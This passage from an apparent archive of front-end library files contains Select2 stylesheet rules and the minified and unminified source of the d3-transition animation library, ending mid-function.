    list-style: none;
    margin: 0;
    padding: 0 5px; }
  .select2-container--classic .select2-selection--multiple .select2-selection__clear {
    display: none; }
  .select2-container--classic .select2-selection--multiple .select2-selection__choice {
    background-color: #e4e4e4;
    border: 1px solid #aaa;
    border-radius: 4px;
    cursor: default;
    float: left;
    margin-right: 5px;
    margin-top: 5px;
    padding: 0 5px; }
  .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove {
    color: #888;
    cursor: pointer;
    display: inline-block;
    font-weight: bold;
    margin-right: 2px; }
    .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover {
      color: #555; }

.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice {
  float: right;
  margin-left: 5px;
  margin-right: auto; }

.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove {
  margin-left: 2px;
  margin-right: auto; }

.select2-container--classic.select2-container--open .select2-selection--multiple {
  border: 1px solid #5897fb; }

.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple {
  border-top: none;
  border-top-left-radius: 0;
  border-top-right-radius: 0; }

.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple {
  border-bottom: none;
  border-bottom-left-radius: 0;
  border-bottom-right-radius: 0; }

.select2-container--classic .select2-search--dropdown .select2-search__field {
  border: 1px solid #aaa;
  outline: 0; }

.select2-container--classic .select2-search--inline .select2-search__field {
  outline: 0;
  box-shadow: none; }

.select2-container--classic .select2-dropdown {
  background-color: white;
  border: 1px solid transparent; }

.select2-container--classic .select2-dropdown--above {
  border-bottom: none; }

.select2-container--classic .select2-dropdown--below {
  border-top: none; }

.select2-container--classic .select2-results > .select2-results__options {
  max-height: 200px;
  overflow-y: auto; }

.select2-container--classic .select2-results__option[role=group] {
  padding: 0; }

.select2-container--classic .select2-results__option[aria-disabled=true] {
  color: grey; }

.select2-container--classic .select2-results__option--highlighted[aria-selected] {
  background-color: #3875d7;
  color: white; }

.select2-container--classic .select2-results__group {
  cursor: default;
  display: block;
  padding: 6px; }

.select2-container--classic.select2-container--open .select2-dropdown {
  border-color: #5897fb; }
css/select2.min.css000064400000035515151677410160010212 0ustar00.select2-container{box-sizing:border-box;display:inline-block;margin:0;position:relative;vertical-align:middle}.select2-container .select2-selection--single{box-sizing:border-box;cursor:pointer;display:block;height:28px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--single .select2-selection__rendered{display:block;padding-left:8px;padding-right:20px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-selection--single .select2-selection__clear{position:relative}.select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered{padding-right:8px;padding-left:20px}.select2-container .select2-selection--multiple{box-sizing:border-box;cursor:pointer;display:block;min-height:32px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--multiple .select2-selection__rendered{display:inline-block;overflow:hidden;padding-left:8px;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-search--inline{float:left}.select2-container .select2-search--inline .select2-search__field{box-sizing:border-box;border:none;font-size:100%;margin-top:5px;padding:0}.select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-dropdown{background-color:white;border:1px solid #aaa;border-radius:4px;box-sizing:border-box;display:block;position:absolute;left:-100000px;width:100%;z-index:1051}.select2-results{display:block}.select2-results__options{list-style:none;margin:0;padding:0}.select2-results__option{padding:6px;user-select:none;-webkit-user-select:none}.select2-results__option[aria-selected]{cursor:pointer}.select2-container--open .select2-dropdown{left:0}.select2-container--open .select2-dropdown--above{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--open .select2-dropdown--below{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-search--dropdown{display:block;padding:4px}.select2-search--dropdown .select2-search__field{padding:4px;width:100%;box-sizing:border-box}.select2-search--dropdown .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-search--dropdown.select2-search--hide{display:none}.select2-close-mask{border:0;margin:0;padding:0;display:block;position:fixed;left:0;top:0;min-height:100%;min-width:100%;height:auto;width:auto;opacity:0;z-index:99;background-color:#fff;filter:alpha(opacity=0)}.select2-hidden-accessible{border:0 !important;clip:rect(0 0 0 0) !important;-webkit-clip-path:inset(50%) !important;clip-path:inset(50%) !important;height:1px !important;overflow:hidden !important;padding:0 !important;position:absolute !important;width:1px !important;white-space:nowrap !important}.select2-container--default .select2-selection--single{background-color:#fff;border:1px solid #aaa;border-radius:4px}.select2-container--default .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--default .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold}.select2-container--default .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--default .select2-selection--single .select2-selection__arrow{height:26px;position:absolute;top:1px;right:1px;width:20px}.select2-container--default .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__arrow{left:1px;right:auto}.select2-container--default.select2-container--disabled .select2-selection--single{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear{display:none}.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--default .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text}.select2-container--default .select2-selection--multiple .select2-selection__rendered{box-sizing:border-box;list-style:none;margin:0;padding:0 5px;width:100%}.select2-container--default .select2-selection--multiple .select2-selection__rendered li{list-style:none}.select2-container--default .select2-selection--multiple .select2-selection__placeholder{color:#999;margin-top:5px;float:left}.select2-container--default .select2-selection--multiple .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-top:5px;margin-right:10px}.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{color:#999;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover{color:#333}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice,.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__placeholder,.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-search--inline{float:right}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--default.select2-container--focus .select2-selection--multiple{border:solid black 1px;outline:0}.select2-container--default.select2-container--disabled .select2-selection--multiple{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection__choice__remove{display:none}.select2-container--default.select2-container--open.select2-container--above .select2-selection--single,.select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple{border-top-left-radius:0;border-top-right-radius:0}.select2-container--default.select2-container--open.select2-container--below .select2-selection--single,.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--default .select2-search--dropdown .select2-search__field{border:1px solid #aaa}.select2-container--default .select2-search--inline .select2-search__field{background:transparent;border:none;outline:0;box-shadow:none;-webkit-appearance:textfield}.select2-container--default .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--default .select2-results__option[role=group]{padding:0}.select2-container--default .select2-results__option[aria-disabled=true]{color:#999}.select2-container--default .select2-results__option[aria-selected=true]{background-color:#ddd}.select2-container--default .select2-results__option .select2-results__option{padding-left:1em}.select2-container--default .select2-results__option .select2-results__option .select2-results__group{padding-left:0}.select2-container--default .select2-results__option .select2-results__option .select2-results__option{margin-left:-1em;padding-left:2em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-2em;padding-left:3em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-3em;padding-left:4em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-4em;padding-left:5em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-5em;padding-left:6em}.select2-container--default .select2-results__option--highlighted[aria-selected]{background-color:#5897fb;color:white}.select2-container--default .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic .select2-selection--single{background-color:#f7f7f7;border:1px solid #aaa;border-radius:4px;outline:0;background-image:-webkit-linear-gradient(top, #fff 50%, #eee 100%);background-image:-o-linear-gradient(top, #fff 50%, #eee 100%);background-image:linear-gradient(to bottom, #fff 50%, #eee 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic .select2-selection--single:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--classic .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-right:10px}.select2-container--classic .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--classic .select2-selection--single .select2-selection__arrow{background-color:#ddd;border:none;border-left:1px solid #aaa;border-top-right-radius:4px;border-bottom-right-radius:4px;height:26px;position:absolute;top:1px;right:1px;width:20px;background-image:-webkit-linear-gradient(top, #eee 50%, #ccc 100%);background-image:-o-linear-gradient(top, #eee 50%, #ccc 100%);background-image:linear-gradient(to bottom, #eee 50%, #ccc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0)}.select2-container--classic .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow{border:none;border-right:1px solid #aaa;border-radius:0;border-top-left-radius:4px;border-bottom-left-radius:4px;left:1px;right:auto}.select2-container--classic.select2-container--open .select2-selection--single{border:1px solid #5897fb}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow{background:transparent;border:none}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:none;border-top-left-radius:0;border-top-right-radius:0;background-image:-webkit-linear-gradient(top, #fff 0%, #eee 50%);background-image:-o-linear-gradient(top, #fff 0%, #eee 50%);background-image:linear-gradient(to bottom, #fff 0%, #eee 50%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0;background-image:-webkit-linear-gradient(top, #eee 50%, #fff 100%);background-image:-o-linear-gradient(top, #eee 50%, #fff 100%);background-image:linear-gradient(to bottom, #eee 50%, #fff 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0)}.select2-container--classic .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text;outline:0}.select2-container--classic .select2-selection--multiple:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--multiple .select2-selection__rendered{list-style:none;margin:0;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__clear{display:none}.select2-container--classic .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove{color:#888;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover{color:#555}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice{float:right;margin-left:5px;margin-right:auto}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--classic.select2-container--open .select2-selection--multiple{border:1px solid #5897fb}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--classic .select2-search--dropdown .select2-search__field{border:1px solid #aaa;outline:0}.select2-container--classic .select2-search--inline .select2-search__field{outline:0;box-shadow:none}.select2-container--classic .select2-dropdown{background-color:#fff;border:1px solid transparent}.select2-container--classic .select2-dropdown--above{border-bottom:none}.select2-container--classic .select2-dropdown--below{border-top:none}.select2-container--classic .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--classic .select2-results__option[role=group]{padding:0}.select2-container--classic .select2-results__option[aria-disabled=true]{color:grey}.select2-container--classic .select2-results__option--highlighted[aria-selected]{background-color:#3875d7;color:#fff}.select2-container--classic .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic.select2-container--open .select2-dropdown{border-color:#5897fb}
d3-transition.min.js000064400000023525151677427170010412 0ustar00// https://d3js.org/d3-transition/ v1.1.3 Copyright 2018 Mike Bostock
!function(t,n){"object"==typeof exports&&"undefined"!=typeof module?n(exports,require("d3-dispatch"),require("d3-timer"),require("d3-color"),require("d3-interpolate"),require("d3-selection"),require("d3-ease")):"function"==typeof define&&define.amd?define(["exports","d3-dispatch","d3-timer","d3-color","d3-interpolate","d3-selection","d3-ease"],n):n(t.d3=t.d3||{},t.d3,t.d3,t.d3,t.d3,t.d3,t.d3)}(this,function(t,n,e,r,i,o,a){"use strict";var u=n.dispatch("start","end","interrupt"),s=[],l=0,f=1,c=2,h=3,d=4,_=5,p=6;function v(t,n,r,i,o,a){var v=t.__transition;if(v){if(r in v)return}else t.__transition={};!function(t,n,r){var i,o=t.__transition;function a(l){var _,v,y,m;if(r.state!==f)return s();for(_ in o)if((m=o[_]).name===r.name){if(m.state===h)return e.timeout(a);m.state===d?(m.state=p,m.timer.stop(),m.on.call("interrupt",t,t.__data__,m.index,m.group),delete o[_]):+_<n&&(m.state=p,m.timer.stop(),delete o[_])}if(e.timeout(function(){r.state===h&&(r.state=d,r.timer.restart(u,r.delay,r.time),u(l))}),r.state=c,r.on.call("start",t,t.__data__,r.index,r.group),r.state===c){for(r.state=h,i=new Array(y=r.tween.length),_=0,v=-1;_<y;++_)(m=r.tween[_].value.call(t,t.__data__,r.index,r.group))&&(i[++v]=m);i.length=v+1}}function u(n){for(var e=n<r.duration?r.ease.call(null,n/r.duration):(r.timer.restart(s),r.state=_,1),o=-1,a=i.length;++o<a;)i[o].call(null,e);r.state===_&&(r.on.call("end",t,t.__data__,r.index,r.group),s())}function s(){for(var e in r.state=p,r.timer.stop(),delete o[n],o)return;delete t.__transition}o[n]=r,r.timer=e.timer(function(t){r.state=f,r.timer.restart(a,r.delay,r.time),r.delay<=t&&a(t-r.delay)},0,r.time)}(t,r,{name:n,index:i,group:o,on:u,tween:s,time:a.time,delay:a.delay,duration:a.duration,ease:a.ease,timer:null,state:l})}function y(t,n){var e=w(t,n);if(e.state>l)throw new Error("too late; already scheduled");return e}function m(t,n){var e=w(t,n);if(e.state>c)throw new Error("too late; already started");return e}function w(t,n){var e=t.__transition;if(!e||!(e=e[n]))throw new Error("transition not found");return e}function g(t,n){var e,r,i,o=t.__transition,a=!0;if(o){for(i in n=null==n?null:n+"",o)(e=o[i]).name===n?(r=e.state>c&&e.state<_,e.state=p,e.timer.stop(),r&&e.on.call("interrupt",t,t.__data__,e.index,e.group),delete o[i]):a=!1;a&&delete t.__transition}}function b(t,n,e){var r=t._id;return t.each(function(){var t=m(this,r);(t.value||(t.value={}))[n]=e.apply(this,arguments)}),function(t){return w(t,r).value[n]}}function A(t,n){var e;return("number"==typeof n?i.interpolateNumber:n instanceof r.color?i.interpolateRgb:(e=r.color(n))?(n=e,i.interpolateRgb):i.interpolateString)(t,n)}var x=o.selection.prototype.constructor;var E=0;function N(t,n,e,r){this._groups=t,this._parents=n,this._name=e,this._id=r}function S(t){return o.selection().transition(t)}function T(){return++E}var q=o.selection.prototype;N.prototype=S.prototype={constructor:N,select:function(t){var n=this._name,e=this._id;"function"!=typeof t&&(t=o.selector(t));for(var r=this._groups,i=r.length,a=new Array(i),u=0;u<i;++u)for(var s,l,f=r[u],c=f.length,h=a[u]=new Array(c),d=0;d<c;++d)(s=f[d])&&(l=t.call(s,s.__data__,d,f))&&("__data__"in s&&(l.__data__=s.__data__),h[d]=l,v(h[d],n,e,d,h,w(s,e)));return new N(a,this._parents,n,e)},selectAll:function(t){var n=this._name,e=this._id;"function"!=typeof t&&(t=o.selectorAll(t));for(var r=this._groups,i=r.length,a=[],u=[],s=0;s<i;++s)for(var l,f=r[s],c=f.length,h=0;h<c;++h)if(l=f[h]){for(var d,_=t.call(l,l.__data__,h,f),p=w(l,e),y=0,m=_.length;y<m;++y)(d=_[y])&&v(d,n,e,y,_,p);a.push(_),u.push(l)}return new N(a,u,n,e)},filter:function(t){"function"!=typeof t&&(t=o.matcher(t));for(var n=this._groups,e=n.length,r=new Array(e),i=0;i<e;++i)for(var a,u=n[i],s=u.length,l=r[i]=[],f=0;f<s;++f)(a=u[f])&&t.call(a,a.__data__,f,u)&&l.push(a);return new N(r,this._parents,this._name,this._id)},merge:function(t){if(t._id!==this._id)throw new Error;for(var n=this._groups,e=t._groups,r=n.length,i=e.length,o=Math.min(r,i),a=new Array(r),u=0;u<o;++u)for(var s,l=n[u],f=e[u],c=l.length,h=a[u]=new Array(c),d=0;d<c;++d)(s=l[d]||f[d])&&(h[d]=s);for(;u<r;++u)a[u]=n[u];return new N(a,this._parents,this._name,this._id)},selection:function(){return new x(this._groups,this._parents)},transition:function(){for(var t=this._name,n=this._id,e=T(),r=this._groups,i=r.length,o=0;o<i;++o)for(var a,u=r[o],s=u.length,l=0;l<s;++l)if(a=u[l]){var f=w(a,n);v(a,t,e,l,u,{time:f.time+f.delay+f.duration,delay:0,duration:f.duration,ease:f.ease})}return new N(r,this._parents,t,e)},call:q.call,nodes:q.nodes,node:q.node,size:q.size,empty:q.empty,each:q.each,on:function(t,n){var e=this._id;return arguments.length<2?w(this.node(),e).on.on(t):this.each(function(t,n,e){var r,i,o=function(t){return(t+"").trim().split(/^|\s+/).every(function(t){var n=t.indexOf(".");return n>=0&&(t=t.slice(0,n)),!t||"start"===t})}(n)?y:m;return function(){var a=o(this,t),u=a.on;u!==r&&(i=(r=u).copy()).on(n,e),a.on=i}}(e,t,n))},attr:function(t,n){var e=o.namespace(t),r="transform"===e?i.interpolateTransformSvg:A;return this.attrTween(t,"function"==typeof n?(e.local?function(t,n,e){var r,i,o;return function(){var a,u=e(this);if(null!=u)return(a=this.getAttributeNS(t.space,t.local))===u?null:a===r&&u===i?o:o=n(r=a,i=u);this.removeAttributeNS(t.space,t.local)}}:function(t,n,e){var r,i,o;return function(){var a,u=e(this);if(null!=u)return(a=this.getAttribute(t))===u?null:a===r&&u===i?o:o=n(r=a,i=u);this.removeAttribute(t)}})(e,r,b(this,"attr."+t,n)):null==n?(e.local?function(t){return function(){this.removeAttributeNS(t.space,t.local)}}:function(t){return function(){this.removeAttribute(t)}})(e):(e.local?function(t,n,e){var r,i;return function(){var o=this.getAttributeNS(t.space,t.local);return o===e?null:o===r?i:i=n(r=o,e)}}:function(t,n,e){var r,i;return function(){var o=this.getAttribute(t);return o===e?null:o===r?i:i=n(r=o,e)}})(e,r,n+""))},attrTween:function(t,n){var e="attr."+t;if(arguments.length<2)return(e=this.tween(e))&&e._value;if(null==n)return this.tween(e,null);if("function"!=typeof n)throw new Error;var r=o.namespace(t);return this.tween(e,(r.local?function(t,n){function e(){var e=this,r=n.apply(e,arguments);return r&&function(n){e.setAttributeNS(t.space,t.local,r(n))}}return e._value=n,e}:function(t,n){function e(){var e=this,r=n.apply(e,arguments);return r&&function(n){e.setAttribute(t,r(n))}}return e._value=n,e})(r,n))},style:function(t,n,e){var r="transform"==(t+="")?i.interpolateTransformCss:A;return null==n?this.styleTween(t,function(t,n){var e,r,i;return function(){var a=o.style(this,t),u=(this.style.removeProperty(t),o.style(this,t));return a===u?null:a===e&&u===r?i:i=n(e=a,r=u)}}(t,r)).on("end.style."+t,function(t){return function(){this.style.removeProperty(t)}}(t)):this.styleTween(t,"function"==typeof n?function(t,n,e){var r,i,a;return function(){var u=o.style(this,t),s=e(this);return null==s&&(this.style.removeProperty(t),s=o.style(this,t)),u===s?null:u===r&&s===i?a:a=n(r=u,i=s)}}(t,r,b(this,"style."+t,n)):function(t,n,e){var r,i;return function(){var a=o.style(this,t);return a===e?null:a===r?i:i=n(r=a,e)}}(t,r,n+""),e)},styleTween:function(t,n,e){var r="style."+(t+="");if(arguments.length<2)return(r=this.tween(r))&&r._value;if(null==n)return this.tween(r,null);if("function"!=typeof n)throw new Error;return this.tween(r,function(t,n,e){function r(){var r=this,i=n.apply(r,arguments);return i&&function(n){r.style.setProperty(t,i(n),e)}}return r._value=n,r}(t,n,null==e?"":e))},text:function(t){return this.tween("text","function"==typeof t?function(t){return function(){var n=t(this);this.textContent=null==n?"":n}}(b(this,"text",t)):function(t){return function(){this.textContent=t}}(null==t?"":t+""))},remove:function(){return this.on("end.remove",(t=this._id,function(){var n=this.parentNode;for(var e in this.__transition)if(+e!==t)return;n&&n.removeChild(this)}));var t},tween:function(t,n){var e=this._id;if(t+="",arguments.length<2){for(var r,i=w(this.node(),e).tween,o=0,a=i.length;o<a;++o)if((r=i[o]).name===t)return r.value;return null}return this.each((null==n?function(t,n){var e,r;return function(){var i=m(this,t),o=i.tween;if(o!==e)for(var a=0,u=(r=e=o).length;a<u;++a)if(r[a].name===n){(r=r.slice()).splice(a,1);break}i.tween=r}}:function(t,n,e){var r,i;if("function"!=typeof e)throw new Error;return function(){var o=m(this,t),a=o.tween;if(a!==r){i=(r=a).slice();for(var u={name:n,value:e},s=0,l=i.length;s<l;++s)if(i[s].name===n){i[s]=u;break}s===l&&i.push(u)}o.tween=i}})(e,t,n))},delay:function(t){var n=this._id;return arguments.length?this.each(("function"==typeof t?function(t,n){return function(){y(this,t).delay=+n.apply(this,arguments)}}:function(t,n){return n=+n,function(){y(this,t).delay=n}})(n,t)):w(this.node(),n).delay},duration:function(t){var n=this._id;return arguments.length?this.each(("function"==typeof t?function(t,n){return function(){m(this,t).duration=+n.apply(this,arguments)}}:function(t,n){return n=+n,function(){m(this,t).duration=n}})(n,t)):w(this.node(),n).duration},ease:function(t){var n=this._id;return arguments.length?this.each(function(t,n){if("function"!=typeof n)throw new Error;return function(){m(this,t).ease=n}}(n,t)):w(this.node(),n).ease}};var C={time:null,delay:0,duration:250,ease:a.easeCubicInOut};function P(t,n){for(var r;!(r=t.__transition)||!(r=r[n]);)if(!(t=t.parentNode))return C.time=e.now(),C;return r}o.selection.prototype.interrupt=function(t){return this.each(function(){g(this,t)})},o.selection.prototype.transition=function(t){var n,r;t instanceof N?(n=t._id,t=t._name):(n=T(),(r=C).time=e.now(),t=null==t?null:t+"");for(var i=this._groups,o=i.length,a=0;a<o;++a)for(var u,s=i[a],l=s.length,f=0;f<l;++f)(u=s[f])&&v(u,t,n,f,s,r||P(u,n));return new N(i,this._parents,t,n)};var O=[null];t.transition=S,t.active=function(t,n){var e,r,i=t.__transition;if(i)for(r in n=null==n?null:n+"",i)if((e=i[r]).state>f&&e.name===n)return new N([[t]],O,n,+r);return null},t.interrupt=g,Object.defineProperty(t,"__esModule",{value:!0})});
d3-transition.js000064400000056335151677427170007635 0ustar00// https://d3js.org/d3-transition/ v1.1.3 Copyright 2018 Mike Bostock
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('d3-dispatch'), require('d3-timer'), require('d3-color'), require('d3-interpolate'), require('d3-selection'), require('d3-ease')) :
typeof define === 'function' && define.amd ? define(['exports', 'd3-dispatch', 'd3-timer', 'd3-color', 'd3-interpolate', 'd3-selection', 'd3-ease'], factory) :
(factory((global.d3 = global.d3 || {}),global.d3,global.d3,global.d3,global.d3,global.d3,global.d3));
}(this, (function (exports,d3Dispatch,d3Timer,d3Color,d3Interpolate,d3Selection,d3Ease) { 'use strict';

var emptyOn = d3Dispatch.dispatch("start", "end", "interrupt");
var emptyTween = [];

var CREATED = 0;
var SCHEDULED = 1;
var STARTING = 2;
var STARTED = 3;
var RUNNING = 4;
var ENDING = 5;
var ENDED = 6;

function schedule(node, name, id, index, group, timing) {
  var schedules = node.__transition;
  if (!schedules) node.__transition = {};
  else if (id in schedules) return;
  create(node, id, {
    name: name,
    index: index, // For context during callback.
    group: group, // For context during callback.
    on: emptyOn,
    tween: emptyTween,
    time: timing.time,
    delay: timing.delay,
    duration: timing.duration,
    ease: timing.ease,
    timer: null,
    state: CREATED
  });
}

function init(node, id) {
  var schedule = get(node, id);
  if (schedule.state > CREATED) throw new Error("too late; already scheduled");
  return schedule;
}

function set(node, id) {
  var schedule = get(node, id);
  if (schedule.state > STARTING) throw new Error("too late; already started");
  return schedule;
}

function get(node, id) {
  var schedule = node.__transition;
  if (!schedule || !(schedule = schedule[id])) throw new Error("transition not found");
  return schedule;
}

function create(node, id, self) {
  var schedules = node.__transition,
      tween;

  // Initialize the self timer when the transition is created.
  // Note the actual delay is not known until the first callback!
  schedules[id] = self;
  self.timer = d3Timer.timer(schedule, 0, self.time);

  function schedule(elapsed) {
    self.state = SCHEDULED;
    self.timer.restart(start, self.delay, self.time);

    // If the elapsed delay is less than our first sleep, start immediately.
    if (self.delay <= elapsed) start(elapsed - self.delay);
  }

  function start(elapsed) {
    var i, j, n, o;

    // If the state is not SCHEDULED, then we previously errored on start.
    if (self.state !== SCHEDULED) return stop();

    for (i in schedules) {
      o = schedules[i];
      if (o.name !== self.name) continue;

      // While this element already has a starting transition during this frame,
      // defer starting an interrupting transition until that transition has a
      // chance to tick (and possibly end); see d3/d3-transition#54!
      if (o.state === STARTED) return d3Timer.timeout(start);

      // Interrupt the active transition, if any.
      // Dispatch the interrupt event.
      if (o.state === RUNNING) {
        o.state = ENDED;
        o.timer.stop();
        o.on.call("interrupt", node, node.__data__, o.index, o.group);
        delete schedules[i];
      }

      // Cancel any pre-empted transitions. No interrupt event is dispatched
      // because the cancelled transitions never started. Note that this also
      // removes this transition from the pending list!
      else if (+i < id) {
        o.state = ENDED;
        o.timer.stop();
        delete schedules[i];
      }
    }

    // Defer the first tick to end of the current frame; see d3/d3#1576.
    // Note the transition may be canceled after start and before the first tick!
    // Note this must be scheduled before the start event; see d3/d3-transition#16!
    // Assuming this is successful, subsequent callbacks go straight to tick.
    d3Timer.timeout(function() {
      if (self.state === STARTED) {
        self.state = RUNNING;
        self.timer.restart(tick, self.delay, self.time);
        tick(elapsed);
      }
    });

    // Dispatch the start event.
    // Note this must be done before the tween are initialized.
    self.state = STARTING;
    self.on.call("start", node, node.__data__, self.index, self.group);
    if (self.state !== STARTING) return; // interrupted
    self.state = STARTED;

    // Initialize the tween, deleting null tween.
    tween = new Array(n = self.tween.length);
    for (i = 0, j = -1; i < n; ++i) {
      if (o = self.tween[i].value.call(node, node.__data__, self.index, self.group)) {
        tween[++j] = o;
      }
    }
    tween.length = j + 1;
  }

  function tick(elapsed) {
    var t = elapsed < self.duration ? self.ease.call(null, elapsed / self.duration) : (self.timer.restart(stop), self.state = ENDING, 1),
        i = -1,
        n = tween.length;

    while (++i < n) {
      tween[i].call(null, t);
    }

    // Dispatch the end event.
    if (self.state === ENDING) {
      self.on.call("end", node, node.__data__, self.index, self.group);
      stop();
    }
  }

  function stop() {
    self.state = ENDED;
    self.timer.stop();
    delete schedules[id];
    for (var i in schedules) return; // eslint-disable-line no-unused-vars
    delete node.__transition;
  }
}

function interrupt(node, name) {
  var schedules = node.__transition,
      schedule$$1,
      active,
      empty = true,
      i;

  if (!schedules) return;

  name = name == null ? null : name + "";

  for (i in schedules) {
    if ((schedule$$1 = schedules[i]).name !== name) { empty = false; continue; }
    active = schedule$$1.state > STARTING && schedule$$1.state < ENDING;
    schedule$$1.state = ENDED;
    schedule$$1.timer.stop();
    if (active) schedule$$1.on.call("interrupt", node, node.__data__, schedule$$1.index, schedule$$1.group);
    delete schedules[i];
  }

  if (empty) delete node.__transition;
}

function selection_interrupt(name) {
  return this.each(function() {
    interrupt(this, name);
  });
}

function tweenRemove(id, name) {
  var tween0, tween1;
  return function() {
    var schedule$$1 = set(this, id),
        tween = schedule$$1.tween;

    // If this node shared tween with the previous node,
    // just assign the updated shared tween and we’re done!
    // Otherwise, copy-on-write.
    if (tween !== tween0) {
      tween1 = tween0 = tween;
      for (var i = 0, n = tween1.length; i < n; ++i) {
        if (tween1[i].name === name) {
          tween1 = tween1.slice();
          tween1.splice(i, 1);
          break;
        }
      }
    }

    schedule$$1.tween = tween1;
  };
}

function tweenFunction(id, name, value) {
  var tween0, tween1;
  if (typeof value !== "function") throw new Error;
  return function() {
    var schedule$$1 = set(this, id),
        tween = schedule$$1.tween;

    // If this node shared tween with the previous node,
    // just assign the updated shared tween and we’re done!
    // Otherwise, copy-on-write.
    if (tween !== tween0) {
